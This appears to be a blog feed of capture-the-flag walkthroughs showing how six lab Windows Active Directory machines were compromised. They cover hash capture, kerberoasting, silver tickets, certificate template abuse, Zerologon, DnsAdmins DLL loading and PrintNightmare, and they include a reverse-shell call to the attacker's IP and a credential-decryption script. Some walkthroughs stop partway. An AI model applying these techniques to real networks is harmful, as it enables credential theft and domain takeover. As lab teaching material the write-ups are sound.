Escape is a Windows machine running Active Directory with an open SMB share containing credentials for an MSSQL instance. After connecting to the server, an NTLMv2 hash for sql_svc can be captured by forcing an authentication attempt to a Responder SMB server. The hash can be cracked, allowing for a shell to be obtained over WinRM. Enumeration of the machine leads to the discovery of an error log which contains the credentials for ryan.cooper. Moreover, Active Directory Certificate Services (AD CS) is in use on the domain, and a vulnerable certificate template (ESC1) can be exploited to request a certificate on behalf of the administrator user. Once authenticated, the NTLM hash can be retrieved and then used to get a system shell.

nmap scan:

# Nmap 7.93 scan initiated Thu Jan 25 23:41:20 2024 as: nmap -p1-10000 -Pn -sC -sV -oA nmap/output 10.10.11.202
Nmap scan report for sequel.htb (10.10.11.202)
Host is up (0.040s latency).
Not shown: 9986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-26 04:44:21Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-01-26T04:45:49+00:00; +2m38s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-01-26T04:45:49+00:00; +2m38s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2024-01-26T04:45:49+00:00; +2m38s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-01-26T04:43:08
|_Not valid after:  2054-01-26T04:43:08
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
|_ssl-date: 2024-01-26T04:45:49+00:00; +2m38s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-01-26T04:45:49+00:00; +2m38s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after:  2074-01-05T23:03:57
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-01-26T04:45:06
|_  start_date: N/A
|_clock-skew: mean: 2m37s, deviation: 1s, median: 2m37s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 25 23:43:11 2024 -- 1 IP address (1 host up) scanned in 111.26 seconds

Notable open ports:

53 (DNS)
88 (Kerberos)
135, 593 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389, 3268 (LDAP)
636, 3269 (LDAPS)
1433 (MSSQL)
5985 (WinRM)

Active Directory:

domain: sequel.htb
hostname: DC

Enumerating shares with anonymous logon showed read access to the Public share:

Listed the files in the share with spider_plus:

Public contained a PDF document:

Downloaded the document:

The "Bonus" section of the PDF contained credentials to access the MSSQL mock instance:

Connected to the server using impacket-mssqlclient:

Only the default databases were on the instance:

Next, I tried to intercept a hash from the SQL server. So I started Responder:

sudo responder -I tun0

Then, I used the MSSQL function xp_dirtree to list directories and files on the specified SMB host:

This caused an authentication attempt and the NTLMv2 hash for sql_svc was captured:

JtR cracked the password:

evil-winrm shell as sql_svc:

There was an error log in C:\SQLServer\Logs:

Viewing ERRORLOG.BAK revealed a password for Ryan.Cooper due to a failed login attempt where the user must've mistakenly entered the password as the username:

The creds worked and evil-winrm was able to make a connection:

While looking for ways to escalate privileges, I checked if Active Directory Certificate Services was running by using the adcs module from netexec which found a certificate authority, sequel-DC-CA:

So with the Certipy find command, I enumerated AD CS:

The UserAuthentication template had all of the conditions met for an ESC1 vulnerability:

Configurations that cause ESC1:

Client Authentication : True
Enrollee Supplies Subject : True
Requires Manager Approval : False
Authorized Signatures Required : 0
Enrollment Rights : SEQUEL.HTB\Domain Users

Next, using the req command, I requested a certificate for the administrator:

To make sure that the local clock was synced with the DC, I used ntpdate:

sudo ntpdate -u dc.sequel.htb

Then, I authenticated with the certificate using the auth command to retrieve the NTLM hash for the administrator:

Passed the hash with psexec.py to obtain a system shell:

Hack The Box - Scrambled

Wed, 24 Jan 2024 00:00:00 GMT

Scrambled is a Windows machine running Active Directory. A username can be found on a hosted webpage as well as a message indicating that some accounts have the password set as the username. This provides the credentials for ksimpson which can then be used to run a kerberoast attack, resulting in the password for sqlsvc. With the service account, a silver ticket attack grants access to a MSSQL database that contains the credentials of the MiscSvc account, leading to a shell over WinRM. MiscSvc has access to an SMB share that contains a .NET application used for sales orders. After code analysis, a deserialization vulnerability can be discovered and leveraged to send a payload that results in a system shell.

nmap scan:

# Nmap 7.93 scan initiated Sat Jan 20 10:41:08 2024 as: nmap -p1-10000 -sC -sV -oA nmap/output 10.10.11.168
Nmap scan report for scrm.local (10.10.11.168)
Host is up (0.046s latency).
Not shown: 9985 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Scramble Corp Intranet
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-20 15:41:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2024-01-20T15:12:16
|_Not valid after:  2025-01-19T15:12:16
|_ssl-date: 2024-01-20T15:44:47+00:00; 0s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2024-01-20T15:12:16
|_Not valid after:  2025-01-19T15:12:16
|_ssl-date: 2024-01-20T15:44:47+00:00; 0s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-01-20T15:22:05
|_Not valid after:  2054-01-20T15:22:05
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2024-01-20T15:44:47+00:00; 0s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2024-01-20T15:12:16
|_Not valid after:  2025-01-19T15:12:16
|_ssl-date: 2024-01-20T15:44:47+00:00; 0s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2024-01-20T15:12:16
|_Not valid after:  2025-01-19T15:12:16
|_ssl-date: 2024-01-20T15:44:47+00:00; 0s from scanner time.
4411/tcp open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.93%I=7%D=1/20%Time=65ABE9B4%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.
SF:3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDER
SF:S_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLS
SF:SessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAM
SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\
SF:.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourO
SF:hFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND
SF:;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_
SF:COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%
SF:r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk
SF:-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
SF:\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-01-20T15:44:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 20 10:44:48 2024 -- 1 IP address (1 host up) scanned in 220.59 seconds

Notable open ports:

53 (DNS)
80 (HTTP)
88 (Kerberos)
135 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389, 3268 (LDAP)
636, 3269 (LDAPS)
1433 (MSSQL)
4411 (?)
5985 (WinRM)

Active Directory:

domain: scrm.local
hostname: DC1

Homepage on port 80, scrm.local was an internal website for Scramble Corp:

The IT services page (/support.html) contained a message saying that all NTLM authentication on the network has been disabled. There was also a section with links to resources:

"Contacting IT support" redirected to /supportrequest.html and contained some information about submitting a support request. More interestingly though, there was a screenshot that had a potential username, ksimpson:

The "New user account form" link on the IT Services page brought up a form that didn't seem to submit any data, so I moved on to "Report a problem with the sales orders app" which redirected to /salesorders.html. This was a page about troubleshooting the app and mentioned a debug logging option. This looked to be what was running on port 4411:

"Request a password reset" redirected to /passwords.html. This page revealed that some users might have their password set to be the same as the username:

With one potential username, I tried authenticating with netexec using ksimpson for the username and password (making sure to use the -k option for Kerberos authentication and not NTLM). The credentials authenticated:

ksimpson had read access to the Public share:

I used the spider_plus module to look at what was in the share:

There was a PDF document which seemed interesting:

I downloaded Network Security Changes.pdf:

The document mentioned the reason why NTLM was disabled (NTLM relay attack) and due to the attacker obtaining access to an SQL database, only network administrators were now given access to the SQL service:

Running netexec with the --kerberoasting option resulted in a TGS ticket for sqlsvc:

JtR cracked the password:

As stated in the "Additional Security Measures" document, only administrators were able to access the SQL service, so I couldn't connect to the database with the creds for sqlsvc, but since I had the credentials for the service account, I was able to request a TGS ticket for the administrator which would then provide access to the MSSQL service (aka silver ticket attack).

In order to run the attack, I needed the NTLM password hash for sqlsvc, the domain SID, and the SPN of the account.

Converted the password to an NTLM hash:

As shown on the Microsoft Docs, the SPN syntax for the MSSQL service is the following:

So the SPN for the MSSQL service instance in this domain was MSSQLSvc/dc1.scrm.local:1433

Using netexec, I retrieved the domain SID with the --get-sid option:

impacket-ticketer created a TGS ticket for the administrator user:

Then, I was able to use the ticket with impacket-mssqlclient to access the database:

After listing the databases, the only interesting one was ScrambleHR since master, tempdb, model, and msdb are default:

Listed the tables from ScrambleHR:

The UserImport table contained credentials for MiscSvc:

Trying to make a connection using the credentials with evil-winrm threw an error due to WinRM defaulting to NTLM authentication:

To use Kerberos authentication, first I edited /etc/krb5.conf to be the following:

[libdefaults]
        default_realm = SCRM.LOCAL

[realms]
SCRM.LOCAL = {
        kdc = dc1.scrm.local
}

[domain_realm]
        .scrm.local = SCRM.LOCAL
        scrm.local = SCRM.LOCAL

Next, I used impacket-getTGT to create a ticket for MiscSvc:

Then, I set the KRB5CCNAME to the ticket:

evil-winrm was now able to establish a connection:

MiscSvc had read access to the IT share:

The share contained an EXE and DLL:

Using netexec, I downloaded both files:

ScrambleClient.exe and ScrambleLib.dll were .NET executables:

I started up a Windows VM and transferred the files over.

Running ScrambleClient.exe brought up the sales orders app mentioned on the internal company website:

On the options window, I set the server to dc1.scrm.local and enabled debug logging:

After connecting to the HTB VPN from the Windows VM and adding dc1.scrm.local to the hosts file, I tried to login using all of the credentials I already had, but none of them worked:

Next, I looked at the code in ILSpy. The ScrambleNetClient class in ScrambleLib.dll featured a way to bypass the login using scrmdev as the username:

The login bypass worked and granted access to the application:

Upon signing in, two deserialized sales orders were recorded in ScrambleDebugLog.txt:

There was a new order tab, so I tested placing an order:

The order was uploaded successfully:

ScrambleDebugLog.txt updated to include the new order:

This revealed that the format to send uploaded orders to the server was UPLOAD_ORDER;<SERIALIZED_DATA_HERE>. This was starting to look like a path for a deserialization attack.

Further analysis of ScrambleLib.dll showed how the SalesOrder class was handling the serialization and deserialization of data objects:

In SerializeToBase64(), the data gets converted into binary using the Serialize() method from BinaryFormatter and then encoded to base64 before being transmitted. In DeserializeFromBase64(), the received data gets decoded from base64 to binary and then converted back to the original data with the Deserialize() method from BinaryFormatter.

BinaryFormatter on the Microsoft Docs:

The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure.

Hack The Box - Cascade

Fri, 29 Dec 2023 00:00:00 GMT

Cascade is a Windows machine running Active Directory. An anonymous LDAP bind allows for enumeration of the environment, leading to the discovery of a password for r.thompson. These credentials grant access to a few SMB shares, one of which contains an encrypted password for s.smith. Once the password is decrypted, it can be used to access a share containing a .NET application. Decompilation and analysis of the application code leads to a hard coded IV and key which can be used to decrypt the password for arksvc stored in a SQLite database. arksvc is a member of the AD Recycle Bin group, members of this group can read deleted AD objects. Viewing the attributes of the deleted objects reveals the password for TempAdmin which is the same password for the administrator, this results in a system shell.

nmap scan:

Open ports:

53 (DNS)
88 (Kerberos)
135 (MSRPC)
139, 445 (SMB)
389, 3268 (LDAP)
636, 3269 (LDAPS)
5985 (WinRM)

Active Directory:

domain: cascade.local
hostname: CASC-DC1

I wasn't able to access any shares with anonymous logon:

Anonymous LDAP authentication was enabled, so I used ldapsearch to query LDAP and view AD info:

After looking through the output, I found a base64 encoded password in the cascadeLegacyPwd attribute for the r.thompson user:

Decoded the password:

I was now able to access some SMB shares:

Downloaded the shares:

Files within the Data share:

The email archive Meeting_Notes_June_2018.html mentioned that a temporary account was used for tasks related to network migration, but more notably, the password used for TempAdmin was the same as the administrator account:

The registry file VNC Install.reg within the s.smith folder contained an encrypted password:

There's a command which can be found here that uses native Linux tools to decrypt VNC passwords:

The credentials authenticated and evil-winrm was able to make a connection:

s.smith was a member of the Audit Share group:

This granted access to the Audit share:

Within the evil-winrm shell, I downloaded the Audit share:

The files in the share looked to be a .NET application:

I started up a Windows VM and transferred CascAudit.exe and CascCrypto.dll over so that I could look at the decompiled code in ILSpy.

After viewing the code, I found a decryption key within CascAudit.exe:

Next, within CascCrypto.dll, I found an initialization vector (IV):

Then, I used DB Browser for SQLite to view Audit.db which contained the encrypted password for the ArkSvc user in the Ldap table:

With the encrypted password, decryption key, and IV, I was able to decrypt the password with the following Python script:

# decrypt.py
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_string(encrypted_string, key):
    key = key.encode('utf-8')
    iv = "1tdyjCbY1Ix49842".encode('utf-8')
    encrypted_bytes = b64decode(encrypted_string)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(encrypted_bytes), AES.block_size)
    decrypted_string = decrypted_data.decode('utf-8')
    return decrypted_string

if __name__ == "__main__":
    try:
        encrypted_password = "BQO5l5Kj9MdErXx6Q6AGOw=="
        decrypted_password = decrypt_string(encrypted_password, "c4scadek3y654321")
        print("Decrypted Password:", decrypted_password)
    except Exception as ex:
        print("Error decrypting password:", str(ex))

evil-winrm made a connection as arksvc and the user was a member of the AD Recycle Bin group which allows members to read objects in AD that have been deleted:

I used the Get-ADObject cmdlet to view all the properties of deleted AD objects:

Within the output, I found an attribute (cascadeLegacyPwd) for the TempAdmin user with a base64 encoded password:

Decoded the password:

As mentioned in the email archive from the Data share, this was the same password as the administrator user. So I was able to obtain a system shell with psexec.py:

Hack The Box - Monteverde

Wed, 20 Dec 2023 00:00:00 GMT

Monteverde is a Windows machine with an Active Directory environment featuring Azure AD. After enumerating domain users, it can be discovered that a service account has the username set as the password. This grants access to an SMB share that contains credentials for another user, allowing for a shell over WinRM. Once on the system, enumeration can reveal that Azure AD Connect is on the box, this can be leveraged to extract an encrypted password of the replication account which in this instance is the administrator user, these credentials can then be used to obtain a system shell.

nmap scan:

Notable open ports:

53 (DNS)
88 (Kerberos)
135, 593 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389, 3268 (LDAP)
636, 3269 (LDAPS)
5985 (WinRM)

Active Directory:

domain: MEGABANK.LOCAL
hostname: MONTEVERDE

I wasn't able to access any shares from a null session, but I was able to list domain users:

I saved the output into a file called crackmapexec-users and used awk to extract just the usernames and wrote it into a file called users:

Checking the password policy showed that there was no lockout threshold:

With the same users list for both usernames and passwords, I ran a password spray to see if any accounts had the username set as the password. crackmapexec will try every username in the list with every password which isn't necessary in this case since only one password needs to be attempted with the corresponding username, but since there wasn't a lockout threshold it didn't cause any issues.

A valid password was found for SABatchJobs:

Next, I listed SMB shares:

SABatchJobs had read access on azure_uploads and users$, so I used crackmapexec to spider the shares:

The users$ share contained an interesting file, mhope/azure.xml:

"users$": {
    "mhope/azure.xml": {
        "atime_epoch": "2020-01-03 08:41:18",
        "ctime_epoch": "2020-01-03 08:39:53",
        "mtime_epoch": "2020-01-03 09:59:24",
        "size": "1.18 KB"
    }
}

I connected to the share with smbclient and downloaded it:

azure.xml contained a password:

Using the credentials, evil-winrm was able to make a connection as mhope:

mhope was a member of Azure Admins:

Viewing the directories in C:\Program Files showed that MSSQL and Azure AD Connect were on the system:

Azure AD Connect is a tool that provides users with a common hybrid identity for on-premise (Windows Server Active Directory) and cloud (Azure, Office365) infrastructure. One of the features provided is Password Hash Synchronization (PHS) which syncs password hashes between on-premise AD and Azure AD.

One of the toolkits that could be used to exploit Azure AD Connect is adconnectdump which is able to extract and decrypt credentials stored in the ADSync database. Similar to ADSyncDecrypt within adconnectdump, there's another tool written in PowerShell featured on this blog post that can also be used to reveal credentials.

In order for the PowerShell script to establish a successful connection to the MSSQL server, I needed to modify the connection string since the target machine was running a dedicated MSSQL instance.

The syntax for a trusted connection SQL can be found here:

In this case, the server was MONTEVERDE and the database was ADSync, so I changed the connection string to be the following:

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"

Next, I started a python HTTP server containing the PowerShell script (azure-ad-decrypt.ps1):

Then, I used iex to execute it on the target machine which revealed the password for the administrator:

I ran psexec.py with the admin credentials to obtain a system shell:

Since this box was released in January of 2020, it was before the initial Microsoft patch for Zerologon (CVE-2020-1472) which was in August of 2020, thus, there's another method to obtain administrative privileges on the machine within a few steps.

crackmapexec has a module that can check if a target is vulnerable to Zerologon:

I cloned this PoC and ran cve-2020-1472-exploit.py which changed the password for the DC machine account to an empty string:

Now that MONTEVERDE$ had a blank password, I could authenticate as the DC machine account to reveal domain NTLM hashes with secretsdump.py. Notice that MONTEVERDE$ had an NT hash value of 31d6cfe0d16ae931b73c59d7e0c089c0 which is the MD5 hash of a blank password within the context of NTLM:

I used psexec.py with the administrator user's hash to get a system shell:

The PoC also provides a way to restore the password to its original value. When the DC machine account hash is changed to an empty string, the NT hash becomes 31d6cfe0d16ae931b73c59d7e0c089c0, allowing for authentication without a password. But, the original value is still stored within LSA secrets as a hex value which can be seen with secretsdump.py:

Therefore, the password can be restored to the original value using restorepassword.py within the PoC directory and specifying the netbios name, IP, and hex of the password:

After changing the password back to original, trying to authenticate as MONTEVERDE$ with an empty password no longer worked:

Using secretsdump.py as the administrator user to dump NTLM hashes confirmed that the password for MONTEVERDE$ was restored to the original value:

Hack The Box - Resolute

Sat, 09 Dec 2023 00:00:00 GMT

Resolute is a Windows machine running Active Directory. A few different methods can be used to enumerate users on the system and reveal an initial account creation password in a description field. This can be leveraged for a password spray against a list of users, leading to a successful logon for one of the accounts. These credentials can be used to obtain a shell over WinRM. Once on the system, a PowerShell transcript directory can be discovered with a log file that contains another user's credentials which can then be used to move laterally. This user is a member of DnsAdmins, the privileges granted to this group can be exploited to inject a custom DLL into the DNS service, resulting in a system shell.

nmap scan:

Notable open ports:

53 (DNS)
88 (Kerberos)
135, 593 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
389, 3268 (LDAP)
636, 3269 (LDAPS)
5985 (WinRM)

Active Directory:

domain: megabank.local
hostname: RESOLUTE

An anonymous login over SMB authenticated, but didn't provide access to any shares:

Next, I tried to enumerate domain users which was successful. One of the users (marko) had a field containing a default password used for the creation of accounts:

The credentials didn't authenticate when I attempted to use them to list the shares:

Since the discovered password was used for the creation of new user accounts, this meant that the password could potentially still be in use for another account on the system, and I had a list of users to run a password spray attack.

I copied the crackmapexec output into a file called crackmapexec-users and used awk to extract just the usernames and saved it into a file called users:

Running the password against the users list resulted in a successful logon for melanie:

The credentials granted read access on the SYSVOL share, but I didn't find anything useful there. So next I tried making a connection using evil-winrm and was able to obtain a shell as melanie:

After looking around on the system, eventually I found a hidden directory, C:\PSTranscripts:

PSTranscripts contained a PowerShell transcript:

The file contained a recorded PowerShell session for the user ryan and one of the commands revealed a username and password:

With the credentials, I was able to use evil-winrm to get a shell as ryan. The user was a member of a non-default group, Contractors:

I ran whoami /groups and noticed that the user was also a member of DnsAdmins:

This was due to nested group membership since the Contractors group was a member of DnsAdmins:

The DnsAdmins group has privileges specifically designed for the management and administration of the DNS service. Therefore, a user that is a member of this group can configure the DNS server to load a custom DLL that runs as SYSTEM when the service restarts.

HackTricks provides some more info on this type of attack, including an example of a valid DLL here.

So I started up a Windows VM and cloned the valid DLL repo mentioned above. Then, within DNSAdmin-DLL.cpp I modified the DnsPluginInitialize function to add a new user to Domain Admins:

After building the solution, DNSAdmin-DLL.dll was generated. I then transferred it to my Kali machine and started an SMB server:

From the target machine, I ran dnscmd.exe to configure the DNS server to load DNSAdmin-DLL.dll from the remote UNC path:

Then, I restarted the DNS service:

The SMB server showed an incoming connection:

Once the service restarted, a new user (mike) was added to the system as a Domain Admin:

With administrative access, I was able to use psexec.py to get a shell as nt authority\system:

TryHackMe - VulnNet: Active

Sun, 03 Dec 2023 00:00:00 GMT

VulnNet: Active is a Windows machine running Active Directory with an instance of Redis that doesn't require authentication. This can be leveraged to run a command that attempts to authenticate to a Responder SMB server, resulting in the interception of an NTLMv2 hash of a user. After cracking the hash, the credentials can be used to authenticate to an SMB share that contains a PowerShell script which can be overwritten with a reverse shell script. Once on the system, enumeration can reveal two different paths to privilege escalation: one is by running a PrintNightmare exploit, and the other is by exploiting a Group Policy Object misconfiguration; both methods result in a system shell.

nmap scan:

Open ports:

53 (DNS)
135 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
6379 (Redis)

The Redis port seemed interesting, so I used redis-cli to connect to it. The info command outputted some information about the server without needing to authenticate:

I listed configuration data:

This showed that the instance was running in the context of the enterprise-security user:

Redis supports scripting with Lua. In this case, it could be leveraged to attempt an authentication to an SMB server and reveal a password hash.

I started the SMB server with responder:

The Redis eval command is used to invoke the execution of Lua scripts, so I used it to run dofile which tries to load and execute a file from the SMB server:

In order to retrieve the file from the server, an authentication was attempted, allowing for Responder to capture the NTLMv2 hash of enterprise-security:

I saved the hash in a file called hash.txt and used JtR to crack it:

The credentials granted read access to Enterprise-Share:

The share contained a PowerShell script, so I downloaded it:

PurgeIrrelevantData_1826.ps1 looked to be a cleanup script for the C:\Users\Public\Documents directory:

It's common for cleanup scripts to run as scheduled tasks, therefore, I figured that replacing it with a reverse shell script could result in a shell on the system.

So I used a nishang reverse shell and wrote it into a file called PurgeIrrelevantData_1826.ps1 and added the Invoke-PowerShellTcp -Reverse -IPAddress 10.6.78.252 -Port 443 function call:

Started a Netcat listener:

Within smbclient, I overwrote the script with the reverse shell:

After about a minute, a connection was made as enterprise-security:

While looking for paths to escalate privileges, I listed the services:

Print Spooler was running which meant that the system was potentially vulnerable to PrintNightmare:

I cloned this PoC for PrintNightmare (CVE-2021-1675) which also required this version of Impacket as stated in the GitHub README. Then, I copied smbserver.py into the same directory as the exploit:

I used msfvenom to generate the DLL payload (shell.dll):

Started a Netcat listener:

Using smbserver.py, I started the SMB server which hosted a share named smb that contained the shell.dll payload:

Then, I ran the exploit which connected to the target system and attempted to execute the DLL payload hosted on the SMB server:

SMB server showing incoming connections from the target machine:

After the exploit completed, nc caught a shell as nt authority\system:

Another method of escalating privileges is by exploiting GPO permissions. Back on the initial shell as the enterprise-security user, running net user enterprise-security showed that the only group this user had membership in was Domain Users:

The next step was to map the domain with BloodHound in order to get a better idea of the AD environment. But first, I needed the AD data to import into BloodHound, so I started a python web server which contained SharpHound:

I used certutil.exe to download SharpHound.exe onto the target machine:

After running SharpHound.exe, a ZIP with the domain data was provided:

I copied the BloodHound ZIP into the Enterprise-Share SMB share:

Downloaded the ZIP using smbclient:

After importing the data into BloodHound, viewing Shortest Paths to Domain Admins showed that enterprise-security had GenericWrite on the SECURITY-POL-VN GPO which was linked to the VULNNET.LOCAL domain:

